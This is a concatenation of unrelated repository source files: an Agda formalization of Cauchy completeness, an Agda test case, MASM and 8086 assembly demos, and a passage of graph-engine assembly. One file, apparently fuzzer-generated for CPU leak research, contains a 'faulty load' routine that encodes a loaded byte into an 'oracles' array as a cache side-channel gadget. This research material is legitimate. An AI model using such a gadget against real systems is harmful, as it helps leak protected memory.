ℚ ] i q < x) × (∃[ r ∈ ℚ ] x < i r) -- This follows from applying the Archimedean property to x − 1 < x and x < x + 1. Example-4-3-6 OF isArchimedian = {!!} -- 4.4 Cauchy completeness of real numbers -- -- We focus on Cauchy completeness, rather than Dedekind or Dedekind-MacNeille completeness, -- as we will focus on the computation of digit expansions, for which Cauchy completeness suffices. -- In order to state that an ordered field is Cauchy complete, we need to define when sequences -- are Cauchy, and when a sequence has a limit. We also take the opportunity to define -- the set of Cauchy reals in Definition 4.4.9. Surprisingly, this ordered field cannot be shown to -- be Cauchy complete. -- NOTE: in the following we make use of ℚ⁺ a few times. Maybe this should be a primitive? -- Fix an ordered field (F, 0 F , 1 F , + F , · F , min F , max F , < F ). module _ (OF : OrderedField {ℓ} {ℓ'}) where open OrderedField OF renaming (Carrier to F) -- module ℚ = OrderedField ℚ open OrderedField ℚOF using () renaming (_<_ to _<ᵣ_; 0f to 0ᵣ) ℚ = OrderedField.Carrier ℚOF iᵣ = OrderedFieldMor.fun (fst (ℚ-IsInitialObject OF)) open import Data.Nat.Base using (ℕ) renaming (_≤_ to _≤ₙ_) -- We get a notion of distance, given by the absolute value as -- |x − y| := max F (x − y, −(x − y)). distance : ∀(x y : F) → F distance x y = max (x - y) (- (x - y)) -- Consider a sequence x : N → F of elements of F . Classically, we may state that x is Cauchy as -- (∀ε : Q + )(∃N : N)(∀m, n : N)m, n ≥ N ⇒ |x m − x n | < ε, IsCauchy : (x : ℕ → F) → Type (ℓ-max ℓ' ℚℓ) IsCauchy x = ∀(ε : ℚ) → 0ᵣ <ᵣ ε → ∃[ N ∈ ℕ ] ∀(m n : ℕ) → N ≤ₙ m → N ≤ₙ n → distance (x m) (x n) < iᵣ ε -- We can interpret the quantifiers as in Definition 2.4.5. -- NOTE: this is the case, since `∃ A B = ∥ Σ A B ∥` -- Following a propositions-as-types interpretation, we may also state that x is Cauchy as the -- structure -- (Πε : Q + )(ΣN : N)(Πm, n : N)m, n ≥ N → |x m − x n | < ε. -- The dependent sum represents a choice of index N for every error ε, and so we have arrived at the following definition. -- Definition 4.4.1. -- For a sequence of reals x : N → F , a a modulus of Cauchy convergence is a map M : Q + → N such that -- (∀ε : Q + )(∀m, n : N)m, n ≥ M (ε) ⇒ |x m − x n | < ε. -- NOTE: do we already call these x "reals" ? -- NOTE: we are using the Modulus-type `((y : ℚ) → {{0ᵣ <ᵣ y}} → ℕ)` a few times and might abbreviate it IsModulusOfCauchyConvergence : (x : ℕ → F) → (M : ((y : ℚ) → {{0ᵣ <ᵣ y}} → ℕ)) → Type (ℓ-max ℓ' ℚℓ) IsModulusOfCauchyConvergence x M = ∀(ε : ℚ) → (p : 0ᵣ <ᵣ ε) → ∀(m n : ℕ) → let instance _ = p in M ε ≤ₙ m → M ε ≤ₙ n → distance (x m) (x n) < iᵣ ε -- In constructive mathematics, we typically use such sequences with modulus, for example, -- because they can sometimes be used to compute limits of Cauchy sequences, avoiding choice axioms. -- Definition 4.4.2. -- A number l : F is the limit of a sequence x : N → F if the sequence -- converges to l in the usual sense: -- (∀ε : Q + )(∃N : N)(∀n : N)n ≥ N ⇒ |x n − l | < ε. IsLimit : (x : ℕ → F) → (l : F) → Type (ℓ-max ℓ' ℚℓ) IsLimit x l = ∀(ε : ℚ) → (0ᵣ <ᵣ ε) → ∃[ N ∈ ℕ ] ∀(n : ℕ) → N ≤ₙ n → distance (x n) l < iᵣ ε -- Remark 4.4.3. We do not consider the statement of convergence in propositions-as-types -- -- (Πε : Q + )(ΣN : N)(Πn : N)n ≥ N → |x n − l | < ε, -- -- because if the sequence has a modulus of Cauchy convergence M, then λε.M (ε/2) is a -- modulus of convergence to the limit l, so that we get an element of the above type. -- Definition 4.4.4. -- The ordered field (F, 0 F , 1 F , + F , · F , min F , max F , < F ) is said to be Cauchy complete -- if for every sequence x with modulus of Cauchy convergence M, we have a limit of x. -- In other words, an ordered field is Cauchy complete iff from a sequence–modulus pair (x, M), we can compute a limit of x. IsCauchyComplete : Type (ℓ-max (ℓ-max ℓ ℓ') ℚℓ) IsCauchyComplete = (x : ℕ → F) → (M : ((y : ℚ) → {{0ᵣ <ᵣ y}} → ℕ)) → IsModulusOfCauchyConvergence x M → Σ[ l ∈ F ] IsLimit x l -- For the remainder of this section, additionally assume that F is Archimedean. module _ (isArchimedian : IsArchimedian OF) where -- Lemma 4.4.5. -- The type of limits of a fixed sequence x : N → F is a proposition. Lemma-4-4-5 : ∀(x : ℕ → F) → isProp (Σ[ l ∈ F ] IsLimit x l) -- Proof. This can be shown using the usual proof that limits are unique in Archimedean ordered fields, followed by an application of Lemma 2.6.20. Lemma-4-4-5 x = {!!} -- Corollary 4.4.6. -- Fix a given sequence x : N → F . Suppose that we know that there exists a -- limit of the sequence. Then we can compute a limit of the sequence. Corollary-4-4-6 : ∀(x : ℕ → F) → (∃[ l ∈ F ] IsLimit x l) → Σ[ l ∈ F ] IsLimit x l -- Proof. By applying the induction principle of propositional truncations of Definition 2.4.3. Corollary-4-4-6 x p = {!!} , {!!} -- Corollary 4.4.7. -- Fix a given sequence x : N → F . Suppose that, from a modulus of Cauchy -- convergence, we can compute a limit of the sequence. Then from the existence of the modulus of -- Cauchy convergence we can compute a limit of the sequence. Corollary-4-4-7 : (x : ℕ → F) → ( (M : ((y : ℚ) → {{0ᵣ <ᵣ y}} → ℕ)) → (isMCC : IsModulusOfCauchyConvergence x M) → Σ[ l ∈ F ] IsLimit x l ) ----------------------------------------------------------------------- → ∃[ M ∈ ((y : ℚ) → {{0ᵣ <ᵣ y}} → ℕ) ] IsModulusOfCauchyConvergence x M → Σ[ l ∈ F ] IsLimit x l -- Proof. By applying the induction principle of propositional truncations of Definition 2.4.3. Corollary-4-4-7 x f p = {!!} -- We can thus compute the limit of x : N → F as the number lim(x, p), where p is a proof -- that the limit of x exists. We will rather use the more traditional notation lim n→∞ x n for this -- number. -- Example 4.4.8 (Exponential function). -- In a Cauchy complete Archimedean ordered field, we can define an exponential function exp : F → F by -- -- exp(x) = Σ_{k=0}^{∞} (xᵏ) / (k!) -- -- For a given input x, we obtain the existence of a modulus of Cauchy convergence for the output from boundedness of -- x, that is, from the fact that (∃q, r : Q) q < x < r . exp : F → F exp x = {!!} Example-4-4-8 : ∀(x : F) → ∃[ M ∈ ((y : ℚ) → {{0ᵣ <ᵣ y}} → ℕ) ] IsModulusOfCauchyConvergence {!!} M Example-4-4-8 x with Example-4-3-6 OF isArchimedian x ... | q' , r' = let q : ∃[ q ∈ ℚ ] iᵣ q < x q = q' r : ∃[ r ∈ ℚ ] x < iᵣ r r = r' in {!!} -- The point of this work is that, because we have a single language for properties and struc- -- ture, we can see more precisely what is needed for certain computations. In the above example, -- we explicitly do not require that inputs come equipped with a modulus of Cauchy convergence, -- but rather that there exists such a modulus. On the one hand, we do need a modulus to obtain -- the limit, but as the limit value is independent of the chosen modulus, existence of such a -- modulus suffices. -- Definition 4.4.9. The Cauchy reals ℝC is the collection of rational sequences equipped with -- a modulus of Cauchy convergence, quotiented (as in Section 2.7) by an equivalence relation -- that relates two sequence–modulus pairs (x, M) and (y, N ) iff -- (∀ε : Q + ) x M (ε/4) − y M (ε/4) < ε. ℝC : {!!} ℝC = {!!} -- The Cauchy reals form an Archimedean ordered field in a natural way. The natural strategy -- to prove that the Cauchy reals are Cauchy complete, perhaps surprisingly, does not work, and -- in some constructive foundations the Cauchy completeness of the Cauchy reals is known to -- be false [68]. -- -- ... -- -- An alternative interpretation of the non-completeness of the Cauchy reals is that the sequential -- definition of completeness ought to be amended [80]. -- NOTE: now we're back to https://github.com/agda/cubical/issues/286 ? -- Auke would send an email to <NAME> and <NAME> -- I could prepare a PR for the cubical standard library -- the cubical standard library does not supersede the standard library -- using setoids need not to be a shortcoming but can be a concious decision -- Postulating the rationals as an ordered field for which there exists a unique morphism to every other ordered field should be sufficient -- (we went a little bit into the coprime and quotient construction of the rational numbers) -- I can prepare some statements that I would like to formalize (with just guessing) to have a more concrete guidance for the necessary detail of a real number formulation -- the impredicative `--prop` is not equivalent to hProp -- therefore, one should make props explicit arguments or at least be aware of them at all times {- in a world where we "just have" real numbers in Agda, I would do the following: Adjoint theory Vector space normed space Banach space Inner Product space unbounded Linear operator adjoint linear operator orthogonal decomposition of Banach spaces inf-sup conditions lax-milgram Local Multilinear Algebra euclidean space linear representation of hodge star locally euclidean Global Multilinear Algebra locally euclidean topological space chart representation -}
test/Succeed/Issue5478-orig.agda
cagix/agda
1,989
11818
{-# OPTIONS --allow-unsolved-metas #-} {-# OPTIONS --no-double-check #-} -- {-# OPTIONS -v impossible:70 #-} -- {-# OPTIONS -v tc.interaction:30 #-} -- {-# OPTIONS -v tc.check.internal:20 #-} open import Agda.Builtin.Sigma record R1 (A : Set) : Set where instance prodR1 : {A : Set} {B : A → Set} → ⦃ {a : A} → R1 (B a) ⦄ → R1 (Σ A B) prodR1 = record {} record R2 (A : Set) ⦃ aR1 : R1 A ⦄ : Set₁ where field f : A → Set open R2 ⦃...⦄ public record R3 (A : Set) (B : A → Set) : Set₁ where instance bR1 : {a : A} → R1 (B a) bR1 = {!!} -- record {} field ⦃ r2 ⦄ : R2 (Σ A B) fab : ∀ {a} {b : B a} → f (a , b)
exampl01/listbox/listbox.asm
AlexRogalskiy/Masm
0
13156
<gh_stars>0 ; ######################################################################### .386 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib ; ######################################################################### ;============= ; Local macros ;============= szText MACRO Name, Text:VARARG LOCAL lbl jmp lbl Name db Text,0 lbl: ENDM m2m MACRO M1, M2 push M2 pop M1 ENDM return MACRO arg mov eax, arg ret ENDM ;================= ; Local prototypes ;================= WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD TopXY PROTO :DWORD,:DWORD ListBox PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD ListBoxProc PROTO :DWORD,:DWORD,:DWORD,:DWORD .data szDisplayName db "List Box Demo",0 CommandLine dd 0 hWnd dd 0 hInstance dd 0 hList1 dd 0 hList2 dd 0 lpLstBox1 dd 0 .code start: invoke GetModuleHandle, NULL mov hInstance, eax invoke GetCommandLine mov CommandLine, eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT invoke ExitProcess,eax ; ######################################################################### WinMain proc hInst :DWORD, hPrevInst :DWORD, CmdLine :DWORD, CmdShow :DWORD ;==================== ; Put LOCALs on stack ;==================== LOCAL wc :WNDCLASSEX LOCAL msg :MSG LOCAL Wwd :DWORD LOCAL Wht :DWORD LOCAL Wtx :DWORD LOCAL Wty :DWORD ;================================================== ; Fill WNDCLASSEX structure with required variables ;================================================== mov wc.cbSize, sizeof WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW \ or CS_BYTEALIGNWINDOW mov wc.lpfnWndProc, offset WndProc mov wc.cbClsExtra, NULL mov wc.cbWndExtra, NULL m2m wc.hInstance, hInst ;<< NOTE: macro not mnemonic mov wc.hbrBackground, COLOR_BTNFACE+1 mov wc.lpszMenuName, NULL mov wc.lpszClassName, offset szClassName invoke LoadIcon,hInst,500 ; icon ID mov wc.hIcon, eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor, eax mov wc.hIconSm, 0 invoke RegisterClassEx, ADDR wc ;================================ ; Centre window at following size ;================================ mov Wwd, 470 mov Wht, 285 invoke GetSystemMetrics,SM_CXSCREEN invoke TopXY,Wwd,eax mov Wtx, eax invoke GetSystemMetrics,SM_CYSCREEN invoke TopXY,Wht,eax mov Wty, eax szText szClassName,"Template_Class" invoke CreateWindowEx,WS_EX_OVERLAPPEDWINDOW, ADDR szClassName, ADDR szDisplayName, WS_OVERLAPPEDWINDOW, Wtx,Wty,Wwd,Wht, NULL,NULL, hInst,NULL mov hWnd,eax invoke LoadMenu,hInst,600 ; menu ID invoke SetMenu,hWnd,eax invoke ShowWindow,hWnd,SW_SHOWNORMAL invoke UpdateWindow,hWnd ;=================================== ; Loop until PostQuitMessage is sent ;=================================== StartLoop: invoke GetMessage,ADDR msg,NULL,0,0 cmp eax, 0 je ExitLoop invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg jmp StartLoop ExitLoop: return msg.wParam WinMain endp ; ######################################################################### WndProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD .if uMsg == WM_COMMAND ;======== menu commands ======== .if wParam == 1000 invoke SendMessage,hWin,WM_SYSCOMMAND,SC_CLOSE,NULL .elseif wParam == 1900 szText TheMsg,"Assembler, Pure & Simple" invoke MessageBox,hWin,ADDR TheMsg,ADDR szDisplayName,MB_OK .endif ;====== end menu commands ====== .elseif uMsg == WM_CREATE invoke ListBox,20,20,200,200,hWin,500 mov hList1, eax szText Patn,"*.*" invoke SendMessage,hList1,LB_DIR,DDL_ARCHIVE or DDL_DRIVES or \ DDL_DIRECTORY,ADDR Patn invoke SetWindowLong,hList1,GWL_WNDPROC,ListBoxProc mov lpLstBox1, eax invoke ListBox,240,20,200,200,hWin,501 mov hList2, eax invoke SetWindowLong,hList2,GWL_WNDPROC,ListBoxProc mov lpLstBox1, eax jmp @@@1 lItem1 db "Roses are red,",0 lItem2 db "Violets are blue.",0 lItem3 db "If sugar is sweet,",0 lItem4 db "What happened to you ?",0 @@@1: invoke SendMessage,hList2,LB_ADDSTRING,0,ADDR lItem1 invoke SendMessage,hList2,LB_ADDSTRING,0,ADDR lItem2 invoke SendMessage,hList2,LB_ADDSTRING,0,ADDR lItem3 invoke SendMessage,hList2,LB_ADDSTRING,0,ADDR lItem4 .elseif uMsg == WM_CLOSE .elseif uMsg == WM_DESTROY invoke PostQuitMessage,NULL return 0 .endif invoke DefWindowProc,hWin,uMsg,wParam,lParam ret WndProc endp ; ######################################################################## TopXY proc wDim:DWORD, sDim:DWORD shr sDim, 1 ; divide screen dimension by 2 shr wDim, 1 ; divide window dimension by 2 mov eax, wDim ; copy window dimension into eax sub sDim, eax ; sub half win dimension from half screen dimension return sDim TopXY endp ; ######################################################################## ListBox proc a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,hParent:DWORD,ID:DWORD szText lstBox,"LISTBOX" invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR lstBox,0, WS_VSCROLL or WS_VISIBLE or \ WS_BORDER or WS_CHILD or \ LBS_HASSTRINGS or LBS_NOINTEGRALHEIGHT or \ LBS_DISABLENOSCROLL, a,b,wd,ht,hParent,ID,hInstance,NULL ret ListBox endp ; ######################################################################### ListBoxProc proc hCtl :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD LOCAL IndexItem :DWORD LOCAL Buffer[32] :BYTE .if uMsg == WM_LBUTTONDBLCLK jmp DoIt .elseif uMsg == WM_CHAR .if wParam == 13 jmp DoIt .endif .endif jmp EndDo DoIt: invoke SendMessage,hCtl,LB_GETCURSEL,0,0 mov IndexItem, eax invoke SendMessage,hCtl,LB_GETTEXT,IndexItem,ADDR Buffer mov eax, hList1 .if hCtl == eax szText CurSel1,"You selected from hList1" invoke MessageBox,hWnd,ADDR Buffer,ADDR CurSel1,MB_OK .else szText CurSel2,"You selected from hList2" invoke MessageBox,hWnd,ADDR Buffer,ADDR CurSel2,MB_OK .endif EndDo: invoke CallWindowProc,lpLstBox1,hCtl,uMsg,wParam,lParam ret ListBoxProc endp ; ######################################################################### end start
Microprocessor/convert_string_number_to_binary.asm
Nmane1612/Nihar-Mane
3
101924
<reponame>Nmane1612/Nihar-Mane name "str2bin" ; convert string number to binary! ; this program written in 8086 assembly language to ; convert string value to binary form. ; this example is copied with major modifications ; from macro "scan_num" taken from c:\emu8086\inc\emu8086.inc ; ; the original "scan_num" not only converts the string number ; but also reads the string from the keyboard and supports ; backspace key, this example is a shorten version ; of original "scan_num" macro. ; here we assume that the string number is already given, ; and the string number does not contain non-digit chars ; and it cannot cause buffer overflow (number is in word range ; and/or has only 4 digits). ; negative values are allowed in this example. ; the original "scan_num" does not allow to enter non-digits ; and it also checks for buffer overflow. ; you can the original file with other macro definitions ; in c:\emu8086\inc\emu8086.inc org 100h jmp start ; text data: msg1 db 0Dh,0Ah, " enter any number from -32768 to 65535 inclusive, or zero to stop: $" msg2 db 0Dh,0Ah, " binary form: $" ; buffer for int 21h/0ah ; fist byte is buffer size, ; second byte is number of chars actually read (set by int 21h/0ah). buffer db 7,?, 5 dup (0), 0, 0 ; for result: binary dw ? start: ; print welcome message: mov dx, offset msg1 mov ah, 9 int 21h ; input string: mov dx, offset buffer mov ah, 0ah int 21h ; make sure the string is zero terminated: mov bx, 0 mov bl, buffer[1] mov buffer[bx+2], 0 lea si, buffer + 2 ; buffer starts from third byte. call tobin ; the number is in cx register. ; for '-1234' it's 0fb2eh mov binary, cx jcxz stop ; print pre-result message: mov dx, offset msg2 mov ah, 9 int 21h ; print result in binary: mov bx, binary mov cx, 16 print: mov ah, 2 ; print function. mov dl, '0' test bx, 1000000000000000b ; test first bit. jz zero mov dl, '1' zero: int 21h shl bx, 1 loop print ; print binary suffix: mov dl, 'b' int 21h jmp start ; loop stop: ret ; return control to the operating system. ; this procedure converts string number to ; binary number. number can have a sign ('-'). ; the result is stored in cx register. ; parameters: ; si - address of string number (zero terminated). tobin proc near push dx push ax push si jmp process ;==== local variables ==== make_minus db ? ; used as a flag. ten dw 10 ; used as multiplier. ;========================= process: ; reset the accumulator: mov cx, 0 ; reset flag: mov cs:make_minus, 0 next_digit: ; read char to al and ; point to next byte: mov al, [si] inc si ; check for end of string: cmp al, 0 ; end of string? jne not_end jmp stop_input not_end: ; check for minus: cmp al, '-' jne ok_digit mov cs:make_minus, 1 ; set flag! jmp next_digit ok_digit: ; multiply cx by 10 (first time the result is zero) push ax mov ax, cx mul cs:ten ; dx:ax = ax*10 mov cx, ax pop ax ; it is assumed that dx is zero - overflow not checked! ; convert from ascii code: sub al, 30h ; add al to cx: mov ah, 0 mov dx, cx ; backup, in case the result will be too big. add cx, ax ; add - overflow not checked! jmp next_digit stop_input: ; check flag, if string number had '-' ; make sure the result is negative: cmp cs:make_minus, 0 je not_minus neg cx not_minus: pop si pop ax pop dx ret tobin endp
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_592.asm
ljhsiun2/medusa
9
104570
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rcx push %rdx push %rsi lea addresses_normal_ht+0x1063d, %r13 nop nop nop xor %rcx, %rcx mov (%r13), %edx inc %rsi lea addresses_A_ht+0x1dfd9, %rsi xor $29692, %r15 mov $0x6162636465666768, %rdx movq %rdx, %xmm1 and $0xffffffffffffffc0, %rsi vmovaps %ymm1, (%rsi) nop nop nop and $32890, %rdx pop %rsi pop %rdx pop %rcx pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x166d9, %r12 add %rbp, %rbp mov $0x5152535455565758, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%r12) nop nop nop nop lfence // Store lea addresses_WC+0x37e9, %rcx nop sub %rbx, %rbx movw $0x5152, (%rcx) nop nop nop nop nop and %rbx, %rbx // REPMOV lea addresses_PSE+0x166d9, %rsi lea addresses_PSE+0x166d9, %rdi nop nop xor $53507, %r10 mov $3, %rcx rep movsw nop nop nop nop sub $53263, %r12 // Faulty Load lea addresses_PSE+0x166d9, %r13 nop nop nop nop nop and $7586, %rcx mov (%r13), %dx lea oracles, %rcx and $0xff, %rdx shlq $12, %rdx mov (%rcx,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
source/phase_edge_push_cc.asm
stanford-mast/Grazelle-PPoPP18
19
101790
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Grazelle ; High performance, hardware-optimized graph processing engine. ; Targets a single machine with one or more x86-based sockets. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Authored by <NAME> ; Department of Electrical Engineering, Stanford University ; (c) 2015-2018 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; phase_edge_push_cc.asm ; Implementation of the Edge-Push phase for Connected Components. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; INCLUDE constants.inc INCLUDE phasehelpers.inc INCLUDE registers.inc INCLUDE scheduler_push.inc INCLUDE threadhelpers.inc _TEXT SEGMENT ; --------- MACROS ------------------------------------------------------------ ; Initializes required state for the Edge-Push phase. edge_push_op_initialize MACRO ; initialize the work scheduler scheduler_phase_init ; perform common initialization tasks phase_helper_set_base_addrs phase_helper_set_graph_info ; get the address of the "has_info" (strong) frontier mov r_frontier, QWORD PTR [graph_frontier_has_info] ; place the address of the outdegree array into the address stash mov rax, QWORD PTR [graph_vertex_outdegrees] vextracti128 xmm0, ymm_addrstash, 0 vpinsrq xmm0, xmm0, rax, 0 vinserti128 ymm_addrstash, ymm_addrstash, xmm0, 0 ; initialize the bitwise-AND masks used throughout this phase vmovapd ymm_vid_and_mask, YMMWORD PTR [const_vid_and_mask] vmovapd ymm_elist_and_mask, YMMWORD PTR [const_edge_list_and_mask] vmovapd ymm_emask_and_mask, YMMWORD PTR [const_edge_mask_and_mask] ENDM ; Performs an iteration of the Edge-Push phase at the specified index. edge_push_op_iteration_at_index MACRO ; load the edge list element at the specified index shl rcx, 5 add rcx, r_edgelist IFDEF EXPERIMENT_WITHOUT_VECTORS ; non-vectorized load of 4 scalar elements mov rax, QWORD PTR [rcx] vpinsrq xmm0, xmm0, rax, 0 mov rax, QWORD PTR [rcx+8] vpinsrq xmm0, xmm0, rax, 1 vinserti128 ymm_edgevec, ymm_edgevec, xmm0, 0 mov rax, QWORD PTR [rcx+16] vpinsrq xmm0, xmm0, rax, 0 mov rax, QWORD PTR [rcx+24] vpinsrq xmm0, xmm0, rax, 1 vinserti128 ymm_edgevec, ymm_edgevec, xmm0, 1 ELSE ; vectorized load vmovapd ymm_edgevec, YMMWORD PTR [rcx] ENDIF IFNDEF EXPERIMENT_WITHOUT_PREFETCH ; prefetch the next several edge list elements whenever the processor has some free time ; this will produce a stream of far-ahead prefetches every iteration of the Edge-Push phase ; the "sweet spot" number of cache lines ahead to prefetch was determined experimentally prefetchnta BYTE PTR [rcx+256] ENDIF IFDEF EXPERIMENT_ITERATION_STATS phase_helper_iteration_stats ENDIF ; perform the bitwise AND operations with the required masks vandpd ymm_elist, ymm_edgevec, ymm_elist_and_mask vandpd ymm_emask, ymm_edgevec, ymm_emask_and_mask vandpd ymm_edgevec, ymm_edgevec, ymm_vid_and_mask ; extract the source vertex ID by extracting individual 16-bit words as needed, shifting, and bitwise-ORing vextracti128 xmm1, ymm_edgevec, 1 vpextrw r8, xmm1, 7 shl r8, 45 vpextrw rcx, xmm1, 3 shl rcx, 30 or r8, rcx vpextrw rdx, xmm_edgevec, 7 shl rdx, 15 vpextrw rcx, xmm_edgevec, 3 or rcx, rdx or r8, rcx ; r8 has the current source vertex ID IFNDEF EXPERIMENT_FRONTIERS_NOSTRONG_PUSH ; check the strong frontier in case this iteration can be skipped phase_helper_strong_frontier_check r8, rsi, edge_push_iteration_done, done_edge_push_phase ENDIF ; prepare the message the source vertex will send to its neighbors ; from above, r8 currently holds the source vertex ID ; this is a scalar but floating-point quantity vmovq xmm_smsgout, QWORD PTR [r_vprop+8*r8] ; there are currently no scatter instructions capable of performing updates ; it is also possible that there are multiple edges in the present vector going to the same place ; so it would not be correct to perform a vector gather, vector update, and vector write-back ; in the absence of instructions that can aggregate updates and perform them atomically, this needs to be done in scalar form edge_push_iteration_update_1_start: IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE ; if using HTM and only doing a single transaction, begin that transaction here IFDEF EXPERIMENT_EDGE_PUSH_HTM_ATOMIC_FALLBACK xbegin edge_push_fallback_iteration_update_1_start ELSE xbegin edge_push_iteration_update_1_start ENDIF ENDIF ENDIF ENDIF ; extract the destination vertex identifier and mask bit for the first 